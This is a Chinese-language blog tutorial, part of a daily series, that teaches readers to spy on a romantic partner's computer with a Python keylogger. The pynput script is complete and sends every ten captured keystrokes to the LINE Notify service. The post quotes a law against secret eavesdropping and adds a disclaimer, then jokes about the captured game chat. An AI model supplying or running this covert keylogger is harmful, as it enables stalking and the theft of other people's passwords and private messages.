[Day8] 从入门到入狱! 用Python窃听电脑键盘事件!

《刑法》第315之1条:「无故利用『工具』或『设备』窥视、窃听」或无故以『录音』、『照相』、『录影』或『电磁纪录』窃录」他人非公开之活动、言论、谈话或身体隐私部位者,处3年以下有期徒刑、拘役或30万元以下罚金」

看到上面的妨害秘密罪了吗?
强烈呼吁大家在做这件事之前要先告知另外一半,并且得到对方同意才可以做喔!

免责声明: 若读者因私德问题侵犯他人权益,本人不负任何责任


[Day5] 另一半疑似劈腿?! 教你用Python科技抓奸!有教大家截图传送到LINE里,
但是毕竟不是每分每秒都在截图,不能完全掌握对方到底在干嘛对吧!
现在要教大家如何用Python把对方在电脑打的每 个 字传给你 (回传英文字母喔)

使用环境

程序码请服用

import requests
from pynput import keyboard

times = 0
char_list = []

def on_press(key):
    global times
    global char_list
    try:
        char_list.append(key.char[0])
        times += 1
        if times == 10: # 这边设定每十个字传一条讯息,不然讯息太多会塞车
            headers = {
            "Authorization": "Bearer " + "填入上上篇教的token",
            }
    
            params = {"message": char_list,} # 将侦测到的字母传到LINE里
            r = requests.post("https://notify-api.line.me/api/notify",
                                    headers=headers, params=params)
            char_list = []
            times = 0
        
    except AttributeError:
        if key == keyboard.Key.esc: # 按ESC就停止程序,不停也可以啦
            return False
        char_list.append(key)
        times += 1
        if times == 10:
            headers = {
            "Authorization": "Bearer " + "填入上上篇教的token",
            }
    
            params = {"message": char_list,} # 将侦测到的字母传到LINE里
            r = requests.post("https://notify-api.line.me/api/notify",
                                    headers=headers, params=params)
            char_list = []
            times = 0
        
def on_release(key):
    if key == keyboard.Key.esc: # 按ESC就停止程序,不停也可以啦
        return False

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

成果发表会

这个一看就知道是在打LOL嘛!
後面那个e04很明显是在骂人,虽然很没修养,但至少没再徵网婆了,真是可喜可贺!

话说不要拿来监控别人打的帐号密码去乱登人家的帐号!!
这样真的会入狱!


<<:  [Day5] Android - Kotlin笔记:ListAdapter + DiffUtil 进阶应用 - 复数itemViewType

>>:  [Day4] Rust 闭包以及判断式

学习成为人体 PE Parser

看日常分享: AwesomeCS FB 看技术文章: AwesomeCS Wiki 笔者最近在阅读...

[拯救上班族的 Chrome 扩充套件] 当朋友问我说,为什麽我的页面怎麽开都是猫咪,你有头绪吗? 我 __ __ 怎麽会知道。

经过昨天一键插入所有猫咪到每个页面後, 发现一打开新的页面又是崭新的开始, 那怎麽可以? 今天我们要...

day17:First-class function

在了解 first-class 一等公民函式前,我们先来看看 MDN 对於 first class ...

Day#29 对话(2)

前言 前一天终於把bug都修好,让模拟器可以顺利地打开喔。今天继续把想要的主要功能做出来。 Conv...

# Day 27 Page Migration (二)

文件 原文文件:Page migration 翻译: 核心中使用 migrate_pages() =...